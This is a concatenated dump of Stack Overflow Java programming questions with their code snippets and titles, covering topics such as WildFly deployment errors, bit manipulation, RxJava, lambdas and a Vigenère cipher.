not a duplicate.Update 2 : I just ran this using SizeofUtil and found the following . The 8 booleans requires 24 bytes/object or 3 bytes/boolean . The single byte approach requires 10 bytes/object . I would understand 8 where it 's expanding a byte to a native int ( I 'm on a 64-bit system ) . But what 's with the other 2 bytes ?",boolean a ; boolean b ; boolean c ; boolean d ; boolean e ; boolean f ; boolean g ; boolean h ; public static final int a = 0x01 ; public static final int b = 0x02 ; public static final int c = 0x04 ; public static final int d = 0x08 ; public static final int e = 0x10 ; public static final int f = 0x20 ; public static final int g = 0x40 ; public static final int h = 0x80 ; byte flags ;,Is byte more efficient than boolean [ 8 ] +Java,"Since the primitive double is represented with the java.lang.Double class , should n't double.class equal java.lang.Double.class ? ( This of course also happens on other primitive types too ) Output :",System.out.println ( double.class == Double.class ) ; Result : false,Why does n't double.class equal java.lang.Double.class ? +Java,"We have a web app that we run in Tomcat 8 , and recently we 've observed that the artifacts ( .war files ) built by some developers on our team throw a NoClassDefFoundError , while the same code built by others functions as expected.From logs/localhost.2018-05-11.log : This is sometimes , but not always , accompanied ( preceded by ) by : Examining the war files , the contents of working and broken artifacts appear to be identical , with one notable exception , the `` directory ordering '' of the jar files in WEB-INF/lib is different.Performing the following procedure on the exploded war file and restarting Tomcat seems to eliminate the exception : The `` good '' wars do n't have the jars in alphabetical order , but there appear to be a number of `` good '' orders a number of `` bad '' orders.I initially thought we might have multiple versions of the DefaultEllipsoid class in different jars , causing a race condition between the correct version and another version , but this does not seem to be the case.I enabled verbose classloader debugging in tomcat , and in both cases , logs/catalina.out shows this class being loaded from the correct jar : Any idea of what might be going on here ? Details : CentOS 7Apache Tomcat/8.0.43Java 1.8.0_144Apache Maven 3.3.9",org.jboss.resteasy.spi.UnhandledException : java.lang.NoClassDefFoundError : Could not initialize class org.geotools.referencing.datum.DefaultEllipsoid ... Caused by : java.lang.NoClassDefFoundError : Could not initialize class org.geotools.referencing.datum.DefaultEllipsoid at org.geotools.referencing.GeodeticCalculator. < init > ( GeodeticCalculator.java:277 ) ... org.jboss.resteasy.spi.UnhandledException : java.lang.IncompatibleClassChangeError : Implementing class ... $ # jars in `` bad '' order $ ls -U WEB-INF/libx.jarb.jary.jara.jarc.jarz.jar $ cp -p WEB-INF/lib/* /tmp/lib/ $ rm -r WEB-INF/lib $ mv /tmp/lib WEB-INF/lib $ # jars in `` good '' order ( appears to be alphabetical after a 'cp ' on my system ) $ ls -U WEB-INF/liba.jarb.jarc.jarx.jary.jarz.jar [ Loaded org.geotools.referencing.datum.DefaultEllipsoid from file : /opt/tomcat/temp/1-webapp/WEB-INF/lib/gt-referencing-11.4.jar ],Why would changing directory order of jar files in WEB-INF/lib cause a NoClassDefFoundError in Tomcat 8 ? +Java,The file ListeMot.txt contain 336529 Line How to catch a particular line.This my codeWhy I ca n't get word = lnr.readLine ( nbr ) ; ? ? Thanks P.S I am new in java !,int getNombre ( ) { nbre = ( int ) ( Math.random ( ) *336529 ) ; return nbre ; } public String FindWord ( ) throws IOException { String word = null ; int nbr= getNombre ( ) ; InputStreamReader reader = null ; LineNumberReader lnr = null ; reader = new InputStreamReader ( new FileInputStream ( `` ../image/ListeMot.txt '' ) ) ; lnr = new LineNumberReader ( reader ) ; word = lnr.readLine ( nbr ) ; },Read a particuliar line in txt file in Java +Java,"I am trying to localize images in JSF , and I want the user to be able to set their locale on my site . This I am doing by a call towhich works great , with one exception : uses the Accept-Language sent in the browser 's request to determine which locale to use . I can work around this by placing a locale string in each .properties file and referencing images bybut then there is no fall-back for individual images , so I have to have a copy of every image , whether it is different or not , in every locale 's directory . This is quite cumbersome , given that I support 9 locales and probably more in the future . Any advice would be much appreciated .",FacesContext.getCurrentInstance ( ) .getViewRoot ( ) .setLocale ( _locale ) ; < h : graphicImage library= '' images '' name= '' pic.gif '' / > < h : graphicImage library= '' # { resource.locale } /images '' name= '' pic.gif '' / >,Image i18n in JSF2 +Java,"Got to know that we can initialize a collection in java by using double brace initialization . And did some search on that and found that it is not advised to use it because of its performance issue.Just want to know , is there any positive side or advantage of DOUBLE BRACE INITIALIZATION ? ?",private static final Set < String > VALID_CODES = new HashSet < String > ( ) { { add ( `` XZ13s '' ) ; add ( `` AB21/X '' ) ; add ( `` YYLEX '' ) ; add ( `` AR2D '' ) ; } } ;,Double brace initialization - Advantage +Java,"I have a legacy class C1 , implementing interface I , that may throw some exceptions.I want to create a class C2 , also implementing interface I , that is based on an instance of C1 , but catches all exceptions and does something useful about them.Currently my implementation looks like this : ( Note : I could also make C2 extend C1 . This does not matter for the current question ) .The interface contains many functions , so I have to write the same try ... catch block again and again.Is there a way to reduce the amount of code duplication here ?",class C2 implements I { C1 base ; @ Override void func1 ( ) { try { base.func1 ( ) ; } catch ( Exception e ) { doSomething ( e ) ; } } @ Override void func2 ( ) { try { base.func2 ( ) ; } catch ( Exception e ) { doSomething ( e ) ; } } ... },Create an exception-safe wrapper of a class +Java,"I 'm working on upgrading code from JBoss 5.1 to JBoss 7.1 and it fails if these methods are not implemented explicitly in the resource adapters . I understand the concept of each , and know about the contract between the two . I 'm not asking about how to implement them or what they mean . I 'm asking specifically why they MUST be implemented for Java EE 6 code ( in this case JBoss AS 7.1 ) .Is there a good reason to put a lot of thought into them or is it sufficient to simply have :",boolean equals ( Object obj ) { return super.equals ( obj ) ; } int hashCode ( ) { return super.hashCode ( ) ; },Why does Java EE 6 require equals ( ) and hashCode ( ) to be implemented for Resource Adapters ? +Java,I have this and it gives : I was hoping it will give At ( 1 ) Why was the value of the index in assignment not changed to 2 ( and kept as 3 ) . ?,"public class Conversions { public static void main ( String [ ] args ) { int index = 3 ; int [ ] arr = new int [ ] { 10 , 20 , 30 , 40 } ; arr [ index ] = index = 2 ; // ( 1 ) System.out.println ( `` '' + arr [ 3 ] + `` `` + arr [ 2 ] ) ; } } 2 30 40 2",Assignment operator explanation in Java +Java,I have a list of lists like that : so it looks like that : Is there a concise way to flatten this list of lists like below using lambda functions in Java 8 : potentially it could work with different sizes of internal lists : this would result to : it seems way more complicated than : Turn a List of Lists into a List Using Lambdasand 3 ways to flatten a list of lists . Is there a reason to prefer one of them ? and what I initially did is similar to although for lists : https : //stackoverflow.com/a/36878011/986160Thanks !,"List < List < Wrapper > > listOfLists = new ArrayList < > ( ) ; class Wrapper { private int value = 0 ; public int getValue ( ) { return value ; } } [ [ Wrapper ( 3 ) , Wrapper ( 4 ) , Wrapper ( 5 ) ] , [ Wrapper ( 1 ) , Wrapper ( 2 ) , Wrapper ( 9 ) ] , [ Wrapper ( 4 ) , Wrapper ( 10 ) , Wrapper ( 11 ) ] , ] ( per column ) : [ Wrapper ( 8 ) , Wrapper ( 16 ) , Wrapper ( 25 ) ] ( per row ) : [ Wrapper ( 12 ) , Wrapper ( 12 ) , Wrapper ( 25 ) ] [ [ Wrapper ( 3 ) , Wrapper ( 5 ) ] , [ Wrapper ( 1 ) , Wrapper ( 2 ) , Wrapper ( 9 ) ] , [ Wrapper ( 4 ) ] , ] ( per column ) : [ Wrapper ( 8 ) , Wrapper ( 7 ) , Wrapper ( 9 ) ] ( per row ) : [ Wrapper ( 8 ) , Wrapper ( 11 ) , Wrapper ( 4 ) ]",How to sum a list of lists per column and per row using lambda functions in Java ? +Java,"as the title says , I am trying to deploy two WARs on Wildfly 13.0 , but if I try to do that on Eclipse by simply adding the resources , it will fail with the following error : BUT if I build the WARS with Maven , then paste the WARs manually in the { JBOSS_HOME } \standalone\deploymentsfolder , the WARs will deploy without any problem.Is there a way to solve this issue ? It would save a lot time for me to deploy from Eclipse in order to test/fix issues with the code faster.EDIT : How my projects are currently structured :","10:16:02,532 INFO [ org.jboss.modules ] ( main ) JBoss Modules version 1.8.5.Final10:16:02,845 INFO [ org.jboss.msc ] ( main ) JBoss MSC version 1.4.2.Final10:16:02,876 INFO [ org.jboss.threads ] ( main ) JBoss Threads version 2.3.2.Final10:16:02,970 INFO [ org.jboss.as ] ( MSC service thread 1-2 ) WFLYSRV0049 : WildFly Full 13.0.0.Final ( WildFly Core 5.0.0.Final ) starting10:16:04,016 INFO [ org.jboss.as.controller.management-deprecated ] ( Controller Boot Thread ) WFLYCTL0028 : Attribute 'security-realm ' in the resource at address '/core-service=management/management-interface=http-interface ' is deprecated , and may be removed in a future version . See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.10:16:04,038 INFO [ org.jboss.as.controller.management-deprecated ] ( ServerService Thread Pool -- 29 ) WFLYCTL0028 : Attribute 'security-realm ' in the resource at address '/subsystem=undertow/server=default-server/https-listener=https ' is deprecated , and may be removed in a future version . See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.10:16:04,038 INFO [ org.wildfly.security ] ( ServerService Thread Pool -- 18 ) ELY00001 : WildFly Elytron version 1.3.3.Final10:16:04,038 INFO [ org.jboss.as.server.deployment.scanner ] ( DeploymentScanner-threads - 1 ) WFLYDS0015 : Re-attempting failed deployment AmexDAPWebServices.war10:16:04,507 INFO [ org.jboss.as.server.deployment.scanner ] ( DeploymentScanner-threads - 1 ) WFLYDS0015 : Re-attempting failed deployment amexsbswebapp.war10:16:05,772 INFO [ org.jboss.as.server.deployment.scanner ] ( DeploymentScanner-threads - 1 ) WFLYDS0004 : Found AmexDAPWebServices.war in deployment directory . To trigger deployment create a file called AmexDAPWebServices.war.dodeploy10:16:05,772 INFO [ org.jboss.as.server.deployment.scanner ] ( DeploymentScanner-threads - 1 ) WFLYDS0004 : Found amexsbswebapp.war in deployment directory . To trigger deployment create a file called amexsbswebapp.war.dodeploy10:16:05,795 INFO [ org.jboss.as.server ] ( Controller Boot Thread ) WFLYSRV0039 : Creating http management service using socket-binding ( management-http ) 10:16:05,811 INFO [ org.xnio ] ( MSC service thread 1-8 ) XNIO version 3.6.3.Final10:16:05,811 INFO [ org.xnio.nio ] ( MSC service thread 1-8 ) XNIO NIO Implementation Version 3.6.3.Final10:16:05,842 INFO [ org.jboss.as.ee ] ( ServerService Thread Pool -- 41 ) WFLYEE0119 : The system property 'ee8.preview.mode ' is NOT set to 'true ' . For provided EE 8 APIs where the EE 8 version of the API differs from what is supported in EE 7 , the EE 7 variant of the API will be used . Support for this setting will be removed once all EE 8 APIs are provided and certified.10:16:05,842 INFO [ org.jboss.as.clustering.infinispan ] ( ServerService Thread Pool -- 45 ) WFLYCLINF0001 : Activating Infinispan subsystem.10:16:05,858 INFO [ org.jboss.as.webservices ] ( ServerService Thread Pool -- 64 ) WFLYWS0002 : Activating WebServices Extension10:16:05,858 WARN [ org.jboss.as.txn ] ( ServerService Thread Pool -- 62 ) WFLYTX0013 : The node-identifier attribute on the /subsystem=transactions is set to the default value . This is a danger for environments running multiple servers . Please make sure the attribute value is unique.10:16:05,873 INFO [ org.jboss.as.naming ] ( ServerService Thread Pool -- 54 ) WFLYNAM0001 : Activating Naming Subsystem10:16:05,873 INFO [ org.jboss.as.jaxrs ] ( ServerService Thread Pool -- 47 ) WFLYRS0016 : RESTEasy version 3.5.1.Final10:16:05,889 INFO [ org.jboss.as.jsf ] ( ServerService Thread Pool -- 52 ) WFLYJSF0007 : Activated the following JSF Implementations : [ main ] 10:16:05,889 INFO [ org.jboss.as.security ] ( ServerService Thread Pool -- 60 ) WFLYSEC0002 : Activating Security Subsystem10:16:05,920 INFO [ org.jboss.as.connector ] ( MSC service thread 1-6 ) WFLYJCA0009 : Starting JCA Subsystem ( WildFly/IronJacamar 1.4.9.Final ) 10:16:05,920 INFO [ org.jboss.as.security ] ( MSC service thread 1-5 ) WFLYSEC0001 : Current PicketBox version=5.0.2.Final10:16:05,936 INFO [ org.jboss.as.connector.subsystems.datasources ] ( ServerService Thread Pool -- 38 ) WFLYJCA0004 : Deploying JDBC-compliant driver class org.h2.Driver ( version 1.4 ) 10:16:05,936 INFO [ org.wildfly.extension.undertow ] ( MSC service thread 1-6 ) WFLYUT0003 : Undertow 2.0.9.Final starting10:16:05,952 INFO [ org.jboss.as.connector.deployers.jdbc ] ( MSC service thread 1-2 ) WFLYJCA0018 : Started Driver service with driver-name = h210:16:05,952 INFO [ org.jboss.as.naming ] ( MSC service thread 1-2 ) WFLYNAM0003 : Starting Naming Service10:16:05,952 INFO [ org.jboss.as.mail.extension ] ( MSC service thread 1-1 ) WFLYMAIL0001 : Bound mail session [ java : jboss/mail/Default ] 10:16:06,061 INFO [ org.wildfly.extension.undertow ] ( ServerService Thread Pool -- 63 ) WFLYUT0014 : Creating file handler for path ' C : \Users\v.cappellini\wildfly-13.0.0.Final/welcome-content ' with options [ directory-listing : 'false ' , follow-symlink : 'false ' , case-sensitive : 'true ' , safe-symlink-paths : ' [ ] ' ] 10:16:06,186 INFO [ org.wildfly.extension.io ] ( ServerService Thread Pool -- 46 ) WFLYIO001 : Worker 'default ' has auto-configured to 16 core threads with 128 task threads based on your 8 available processors10:16:06,201 INFO [ org.jboss.as.ejb3 ] ( MSC service thread 1-2 ) WFLYEJB0482 : Strict pool mdb-strict-max-pool is using a max instance size of 32 ( per class ) , which is derived from the number of CPUs on this host.10:16:06,201 INFO [ org.jboss.as.ejb3 ] ( MSC service thread 1-7 ) WFLYEJB0481 : Strict pool slsb-strict-max-pool is using a max instance size of 128 ( per class ) , which is derived from thread worker pool sizing.10:16:06,233 INFO [ org.jboss.remoting ] ( MSC service thread 1-8 ) JBoss Remoting version 5.0.7.Final10:16:06,248 INFO [ org.wildfly.extension.undertow ] ( MSC service thread 1-6 ) WFLYUT0012 : Started server default-server.10:16:06,248 INFO [ org.wildfly.extension.undertow ] ( MSC service thread 1-4 ) WFLYUT0018 : Host default-host starting10:16:06,295 INFO [ org.jboss.as.ejb3 ] ( MSC service thread 1-6 ) WFLYEJB0493 : EJB subsystem suspension complete10:16:06,311 INFO [ org.wildfly.extension.undertow ] ( MSC service thread 1-7 ) WFLYUT0006 : Undertow HTTP listener default listening on 127.0.0.1:808010:16:06,311 INFO [ org.jboss.as.patching ] ( MSC service thread 1-3 ) WFLYPAT0050 : WildFly Full cumulative patch ID is : base , one-off patches include : none10:16:06,342 WARN [ org.jboss.as.domain.management.security ] ( MSC service thread 1-6 ) WFLYDM0111 : Keystore C : \Users\v.cappellini\wildfly-13.0.0.Final\standalone\configuration\application.keystore not found , it will be auto generated on first use with a self signed certificate for host localhost10:16:06,342 INFO [ org.jboss.as.server.deployment.scanner ] ( MSC service thread 1-4 ) WFLYDS0013 : Started FileSystemDeploymentService for directory C : \Users\v.cappellini\wildfly-13.0.0.Final\standalone\deployments10:16:06,358 INFO [ org.jboss.as.server.deployment ] ( MSC service thread 1-3 ) WFLYSRV0027 : Starting deployment of `` amexsbswebapp.war '' ( runtime-name : `` amexsbswebapp.war '' ) 10:16:06,358 INFO [ org.jboss.as.server.deployment ] ( MSC service thread 1-6 ) WFLYSRV0027 : Starting deployment of `` AmexDAPWebServices.war '' ( runtime-name : `` AmexDAPWebServices.war '' ) 10:16:06,623 INFO [ org.jboss.as.connector.subsystems.datasources ] ( MSC service thread 1-7 ) WFLYJCA0001 : Bound data source [ java : jboss/datasources/ExampleDS ] 10:16:06,795 INFO [ org.wildfly.extension.undertow ] ( MSC service thread 1-1 ) WFLYUT0006 : Undertow HTTPS listener https listening on 127.0.0.1:844310:16:06,863 INFO [ org.jboss.ws.common.management ] ( MSC service thread 1-2 ) JBWS022052 : Starting JBossWS 5.2.1.Final ( Apache CXF 3.2.4.jbossorg-1 ) 10:16:14,642 WARN [ org.wildfly.extension.undertow ] ( MSC service thread 1-5 ) WFLYUT0081 : The deployment amexsbswebapp.war will not be distributable because this feature is disabled in web-fragment.xml of the module apiee-core-1.0.1.jar.10:16:15,023 INFO [ org.jboss.as.jpa ] ( MSC service thread 1-5 ) WFLYJPA0002 : Read persistence.xml for JPAAmex10:16:15,023 INFO [ org.jboss.as.jpa ] ( MSC service thread 1-8 ) WFLYJPA0002 : Read persistence.xml for JPAAmex10:16:17,335 INFO [ org.jboss.as.jpa ] ( ServerService Thread Pool -- 67 ) WFLYJPA0010 : Starting Persistence Unit ( phase 1 of 2 ) Service 'amexsbswebapp.war # JPAAmex'10:16:17,347 INFO [ org.hibernate.jpa.internal.util.LogHelper ] ( ServerService Thread Pool -- 67 ) HHH000204 : Processing PersistenceUnitInfo [ name : JPAAmex ... ] 10:16:17,363 ERROR [ org.jboss.msc.service.fail ] ( MSC service thread 1-1 ) MSC000001 : Failed to start service jboss.deployment.unit . `` amexsbswebapp.war '' .POST_MODULE : org.jboss.msc.service.StartException in service jboss.deployment.unit . `` amexsbswebapp.war '' .POST_MODULE : WFLYSRV0153 : Failed to process phase POST_MODULE of deployment `` amexsbswebapp.war '' at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start ( DeploymentUnitPhaseService.java:150 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.startService ( ServiceControllerImpl.java:1736 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.execute ( ServiceControllerImpl.java:1698 ) at org.jboss.msc.service.ServiceControllerImpl $ ControllerTask.run ( ServiceControllerImpl.java:1556 ) at org.jboss.threads.ContextClassLoaderSavingRunnable.run ( ContextClassLoaderSavingRunnable.java:35 ) at org.jboss.threads.EnhancedQueueExecutor.safeRun ( EnhancedQueueExecutor.java:1985 ) at org.jboss.threads.EnhancedQueueExecutor $ ThreadBody.doRunTask ( EnhancedQueueExecutor.java:1487 ) at org.jboss.threads.EnhancedQueueExecutor $ ThreadBody.run ( EnhancedQueueExecutor.java:1378 ) at java.lang.Thread.run ( Unknown Source ) Caused by : java.lang.RuntimeException : WFLYSRV0177 : Error getting reflective information for class olsa.cerved.corporate.SBSTemplateManager with ClassLoader ModuleClassLoader for Module `` deployment.amexsbswebapp.war '' from Service Module Loader at org.jboss.as.server.deployment.reflect.DeploymentReflectionIndex.getClassIndex ( DeploymentReflectionIndex.java:78 ) at org.jboss.as.ee.metadata.MethodAnnotationAggregator.runtimeAnnotationInformation ( MethodAnnotationAggregator.java:57 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.handleAnnotations ( InterceptorAnnotationProcessor.java:106 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.processComponentConfig ( InterceptorAnnotationProcessor.java:91 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.deploy ( InterceptorAnnotationProcessor.java:76 ) at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start ( DeploymentUnitPhaseService.java:143 ) ... 8 moreCaused by : java.lang.NoClassDefFoundError : com/olsa/amex/services/parameters/ApplicationTemplateParameters at java.lang.Class.getDeclaredMethods0 ( Native Method ) at java.lang.Class.privateGetDeclaredMethods ( Unknown Source ) at java.lang.Class.getDeclaredMethods ( Unknown Source ) at org.jboss.as.server.deployment.reflect.ClassReflectionIndex. < init > ( ClassReflectionIndex.java:80 ) at org.jboss.as.server.deployment.reflect.DeploymentReflectionIndex.getClassIndex ( DeploymentReflectionIndex.java:70 ) ... 13 moreCaused by : java.lang.ClassNotFoundException : com.olsa.amex.services.parameters.ApplicationTemplateParameters from [ Module `` deployment.amexsbswebapp.war '' from Service Module Loader ] at org.jboss.modules.ModuleClassLoader.findClass ( ModuleClassLoader.java:255 ) at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked ( ConcurrentClassLoader.java:410 ) at org.jboss.modules.ConcurrentClassLoader.performLoadClass ( ConcurrentClassLoader.java:398 ) at org.jboss.modules.ConcurrentClassLoader.loadClass ( ConcurrentClassLoader.java:116 ) ... 18 more10:16:17,410 INFO [ org.hibernate.Version ] ( ServerService Thread Pool -- 67 ) HHH000412 : Hibernate Core { 5.1.14.Final } 10:16:17,410 INFO [ org.hibernate.cfg.Environment ] ( ServerService Thread Pool -- 67 ) HHH000206 : hibernate.properties not found10:16:17,410 INFO [ org.hibernate.cfg.Environment ] ( ServerService Thread Pool -- 67 ) HHH000021 : Bytecode provider name : javassist10:16:17,441 INFO [ org.hibernate.annotations.common.Version ] ( ServerService Thread Pool -- 67 ) HCANN000001 : Hibernate Commons Annotations { 5.0.2.Final } 10:16:18,410 INFO [ org.jboss.as.jpa ] ( ServerService Thread Pool -- 67 ) WFLYJPA0010 : Starting Persistence Unit ( phase 1 of 2 ) Service 'AmexDAPWebServices.war # JPAAmex'10:16:18,410 INFO [ org.hibernate.jpa.internal.util.LogHelper ] ( ServerService Thread Pool -- 67 ) HHH000204 : Processing PersistenceUnitInfo [ name : JPAAmex ... ] 10:16:18,412 ERROR [ org.jboss.msc.service.fail ] ( MSC service thread 1-8 ) MSC000001 : Failed to start service jboss.deployment.unit . `` AmexDAPWebServices.war '' .POST_MODULE : org.jboss.msc.service.StartException in service jboss.deployment.unit . `` AmexDAPWebServices.war '' .POST_MODULE : WFLYSRV0153 : Failed to process phase POST_MODULE of deployment `` AmexDAPWebServices.war '' at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start ( DeploymentUnitPhaseService.java:150 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.startService ( ServiceControllerImpl.java:1736 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.execute ( ServiceControllerImpl.java:1698 ) at org.jboss.msc.service.ServiceControllerImpl $ ControllerTask.run ( ServiceControllerImpl.java:1556 ) at org.jboss.threads.ContextClassLoaderSavingRunnable.run ( ContextClassLoaderSavingRunnable.java:35 ) at org.jboss.threads.EnhancedQueueExecutor.safeRun ( EnhancedQueueExecutor.java:1985 ) at org.jboss.threads.EnhancedQueueExecutor $ ThreadBody.doRunTask ( EnhancedQueueExecutor.java:1487 ) at org.jboss.threads.EnhancedQueueExecutor $ ThreadBody.run ( EnhancedQueueExecutor.java:1378 ) at java.lang.Thread.run ( Unknown Source ) Caused by : java.lang.RuntimeException : WFLYSRV0177 : Error getting reflective information for class amexdap.webservices.LoginUserServletDB with ClassLoader ModuleClassLoader for Module `` deployment.AmexDAPWebServices.war '' from Service Module Loader at org.jboss.as.server.deployment.reflect.DeploymentReflectionIndex.getClassIndex ( DeploymentReflectionIndex.java:78 ) at org.jboss.as.ee.metadata.MethodAnnotationAggregator.runtimeAnnotationInformation ( MethodAnnotationAggregator.java:57 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.handleAnnotations ( InterceptorAnnotationProcessor.java:106 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.processComponentConfig ( InterceptorAnnotationProcessor.java:91 ) at org.jboss.as.ee.component.deployers.InterceptorAnnotationProcessor.deploy ( InterceptorAnnotationProcessor.java:76 ) at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start ( DeploymentUnitPhaseService.java:143 ) ... 8 moreCaused by : java.lang.NoClassDefFoundError : Lcom/olsa/amex/services/LoginService ; at java.lang.Class.getDeclaredFields0 ( Native Method ) at java.lang.Class.privateGetDeclaredFields ( Unknown Source ) at java.lang.Class.getDeclaredFields ( Unknown Source ) at org.jboss.as.server.deployment.reflect.ClassReflectionIndex. < init > ( ClassReflectionIndex.java:72 ) at org.jboss.as.server.deployment.reflect.DeploymentReflectionIndex.getClassIndex ( DeploymentReflectionIndex.java:70 ) ... 13 moreCaused by : java.lang.ClassNotFoundException : com.olsa.amex.services.LoginService from [ Module `` deployment.AmexDAPWebServices.war '' from Service Module Loader ] at org.jboss.modules.ModuleClassLoader.findClass ( ModuleClassLoader.java:255 ) at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked ( ConcurrentClassLoader.java:410 ) at org.jboss.modules.ConcurrentClassLoader.performLoadClass ( ConcurrentClassLoader.java:398 ) at org.jboss.modules.ConcurrentClassLoader.loadClass ( ConcurrentClassLoader.java:116 ) ... 18 more10:16:19,069 ERROR [ org.jboss.as.controller.management-operation ] ( Controller Boot Thread ) WFLYCTL0013 : Operation ( `` deploy '' ) failed - address : ( [ ( `` deployment '' = > `` AmexDAPWebServices.war '' ) ] ) - failure description : { `` WFLYCTL0080 : Failed services '' = > { `` jboss.deployment.unit.\ '' AmexDAPWebServices.war\ '' .POST_MODULE '' = > `` WFLYSRV0153 : Failed to process phase POST_MODULE of deployment \ '' AmexDAPWebServices.war\ '' Caused by : java.lang.RuntimeException : WFLYSRV0177 : Error getting reflective information for class amexdap.webservices.LoginUserServletDB with ClassLoader ModuleClassLoader for Module \ '' deployment.AmexDAPWebServices.war\ '' from Service Module Loader Caused by : java.lang.NoClassDefFoundError : Lcom/olsa/amex/services/LoginService ; Caused by : java.lang.ClassNotFoundException : com.olsa.amex.services.LoginService from [ Module \ '' deployment.AmexDAPWebServices.war\ '' from Service Module Loader ] '' } } 10:16:19,069 ERROR [ org.jboss.as.controller.management-operation ] ( Controller Boot Thread ) WFLYCTL0013 : Operation ( `` deploy '' ) failed - address : ( [ ( `` deployment '' = > `` amexsbswebapp.war '' ) ] ) - failure description : { `` WFLYCTL0080 : Failed services '' = > { `` jboss.deployment.unit.\ '' amexsbswebapp.war\ '' .POST_MODULE '' = > `` WFLYSRV0153 : Failed to process phase POST_MODULE of deployment \ '' amexsbswebapp.war\ '' Caused by : java.lang.RuntimeException : WFLYSRV0177 : Error getting reflective information for class olsa.cerved.corporate.SBSTemplateManager with ClassLoader ModuleClassLoader for Module \ '' deployment.amexsbswebapp.war\ '' from Service Module Loader Caused by : java.lang.NoClassDefFoundError : com/olsa/amex/services/parameters/ApplicationTemplateParameters Caused by : java.lang.ClassNotFoundException : com.olsa.amex.services.parameters.ApplicationTemplateParameters from [ Module \ '' deployment.amexsbswebapp.war\ '' from Service Module Loader ] '' } } 10:16:19,084 INFO [ org.jboss.as.server ] ( ServerService Thread Pool -- 39 ) WFLYSRV0010 : Deployed `` amexsbswebapp.war '' ( runtime-name : `` amexsbswebapp.war '' ) 10:16:19,084 INFO [ org.jboss.as.server ] ( ServerService Thread Pool -- 39 ) WFLYSRV0010 : Deployed `` AmexDAPWebServices.war '' ( runtime-name : `` AmexDAPWebServices.war '' ) 10:16:19,084 INFO [ org.jboss.as.controller ] ( Controller Boot Thread ) WFLYCTL0183 : Service status reportWFLYCTL0186 : Services which failed to start : service jboss.deployment.unit . `` AmexDAPWebServices.war '' .POST_MODULE : WFLYSRV0153 : Failed to process phase POST_MODULE of deployment `` AmexDAPWebServices.war '' service jboss.deployment.unit . `` amexsbswebapp.war '' .POST_MODULE : WFLYSRV0153 : Failed to process phase POST_MODULE of deployment `` amexsbswebapp.war '' 10:16:19,131 INFO [ org.jboss.as.server ] ( Controller Boot Thread ) WFLYSRV0212 : Resuming server10:16:19,131 INFO [ org.jboss.as ] ( Controller Boot Thread ) WFLYSRV0060 : Http management interface listening on http : //127.0.0.1:9990/management10:16:19,131 INFO [ org.jboss.as ] ( Controller Boot Thread ) WFLYSRV0051 : Admin console listening on http : //127.0.0.1:999010:16:19,131 ERROR [ org.jboss.as ] ( Controller Boot Thread ) WFLYSRV0026 : WildFly Full 13.0.0.Final ( WildFly Core 5.0.0.Final ) started ( with errors ) in 16942ms - Started 318 of 541 services ( 2 services failed ormissing dependencies , 312 services are lazy , passive or on-demand ) -Amexwebappsbs ( FrontEnd with Angularjs , works fine ) -AmexDAPWebServices ( Backend with servlets and stuff ) | | -- - AmexDAPLib-1.0 ( another project with services like db queries with JPA ) | | -- -- JPAAmex ( JPA project with persistence.xml file )","Wildfly 13.0 failing to deploy multiple WARs while deploying from Eclipse , works fine otherwise" +Java,"Java Integer class has the static method highestOneBit method which will return a value with a single one-bit , in the position of the highest-order one-bit in the specified value , or zero if the specified value is itself equal to zero.For example input of int 17 will return 16 ; As 17 can be represented in binary as 10001 so it will return the furthest bit left which is equal to 16 . And in Integer class it has the following implementation in Java doc.I just want to know the logic behind implementing it this way and the logic behind using shift operations . Can any one put some light on it .","public static int highestOneBit ( int i ) { // HD , Figure 3-1 i |= ( i > > 1 ) ; i |= ( i > > 2 ) ; i |= ( i > > 4 ) ; i |= ( i > > 8 ) ; i |= ( i > > 16 ) ; return i - ( i > > > 1 ) ; }",Understanding logic behind Integer.highestOneBit ( ) method implementation +Java,"My goal is a method that will execute a network call unless the network call is already in progress in which case the caller subscribes to the results of the existing call.Here is what I have , it mostly works : This mostly works because asyncSubject nulls itself out on terminate so that any subsequent calls will re-execute the network request.But there is a bug , there 's a window between if ( asyncSubject == null ) and return asyncSubject where doAfterTerminate can execute and I get a null pointer.Any ideas how to fix the bug . Maybe there is a more elegant Rx way to do this ? Or synchronized block . Or a way to query Retrofit for network progress .",private AsyncSubject < Stuff > asyncSubject ; public Observable < Stuff > getStuff ( ) { if ( asyncSubject == null ) { asyncSubject = AsyncSubject.create ( ) ; asyncSubject .doAfterTerminate ( new Action ( ) { @ Override public void run ( ) throws Exception { asyncSubject = null ; } } ) .subscribe ( ) ; retrofitApi.getStuff ( ) .subscribe ( asyncSubject ) ; } return asyncSubject .someOperatorsHere ( ) ; },Do n't re-execute Retrofit call if it 's still in progress using RxJava 2 +Java,"I need ( mostly for testing purposes ) to write a consumer whose purpose is to remember how many times it was called . However , I ca n't do because i must be final , and I ca n't increment final variables . I suppose I need something like MutableInteger class . What is the right way to count then ? Writing my own new class or a new method just for that would n't count for a right way .",int i = 0 ; Consumer < Object > handler = o - > i++ ;,How to write a Consumer that counts how many times it was called ? +Java,Please can someone explain the line of code highlighted below . I do n't understand at all how this line works . You can use this example to help me : I do n't understand how that line helps encode A to L and other letter ... ACSII involvement ?,"input : ATTACK keyword : LEMON res : LXFOPV static String encrypt ( String text , final String key ) { String res = `` '' ; text = text.toUpperCase ( ) ; for ( int i = 0 , j = 0 ; i < text.length ( ) ; i++ ) { char c = text.charAt ( i ) ; if ( c < ' A ' || c > ' Z ' ) continue ; //////////////////////////////////////////////////////////////////////////////please someone explain this line res += ( char ) ( ( c + key.charAt ( j ) - 2 * ' A ' ) % 26 + ' A ' ) ; //////////////////////////////////////////////////////////////////////// j = ++j % key.length ( ) ; } return res ; }",Confused about Vigenère 